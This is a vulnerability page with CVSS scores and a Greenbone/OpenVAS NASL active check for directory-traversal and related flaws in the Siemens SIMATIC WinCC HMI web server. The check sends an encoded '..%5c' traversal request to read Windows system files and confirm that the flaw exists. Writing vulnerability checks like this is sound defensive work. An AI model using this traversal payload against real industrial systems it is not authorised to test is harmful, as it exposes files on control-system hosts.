8.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:P/I:N/A:C
6.5 Medium
AI Score
Confidence
Low
0.024 Low
EPSS
Percentile
89.9%
Siemens SIMATIC WinCC is prone to an HTTP-header-injection issue, a
directory-traversal issue, and an arbitrary memory-read access issue because the application fails to
properly sanitize user-supplied input.
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.103572");
script_cve_id("CVE-2011-4512", "CVE-2011-4878", "CVE-2011-4879");
script_tag(name:"cvss_base", value:"8.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:C");
script_version("2023-05-04T09:51:03+0000");
script_name("Siemens SIMATIC WinCC HMI Web Server Multiple Input Validation Vulnerabilities - Active Check");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/51836");
script_xref(name:"URL", value:"http://www.automation.siemens.com/mcms/human-machine-interface/en/visualization-software/scada/Pages/Default.aspx");
script_xref(name:"URL", value:"http://www.us-cert.gov/control_systems/pdf/ICSA-12-030-01A.pdf");
script_xref(name:"URL", value:"http://www.us-cert.gov/control_systems/pdf/ICSA-12-030-01.pdf");
script_tag(name:"last_modification", value:"2023-05-04 09:51:03 +0000 (Thu, 04 May 2023)");
script_tag(name:"creation_date", value:"2012-09-20 11:25:41 +0200 (Thu, 20 Sep 2012)");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_family("Web application abuses");
script_copyright("Copyright (C) 2012 Greenbone AG");
script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl", "os_detection.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("Host/runs_windows");
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"summary", value:"Siemens SIMATIC WinCC is prone to an HTTP-header-injection issue, a
directory-traversal issue, and an arbitrary memory-read access issue because the application fails to
properly sanitize user-supplied input.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"impact", value:"A remote attacker can exploit these issues to gain elevated
privileges, obtain sensitive information, or cause denial-of-service conditions.");
script_tag(name:"solution", value:"Updates are available. Please see the references for more information.");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");
include("os_func.inc");
port = http_get_port(default:80);
url = "/www/start.html";
if(http_vuln_check(port:port, url:url, pattern:"Miniweb Start Page", usecache:TRUE)) {
files = traversal_files("windows");
foreach file (keys(files)) {
url = "/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c" + files[file];
if(http_vuln_check(port:port, url:url, pattern:file)) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
}
exit(99);
}
exit(0);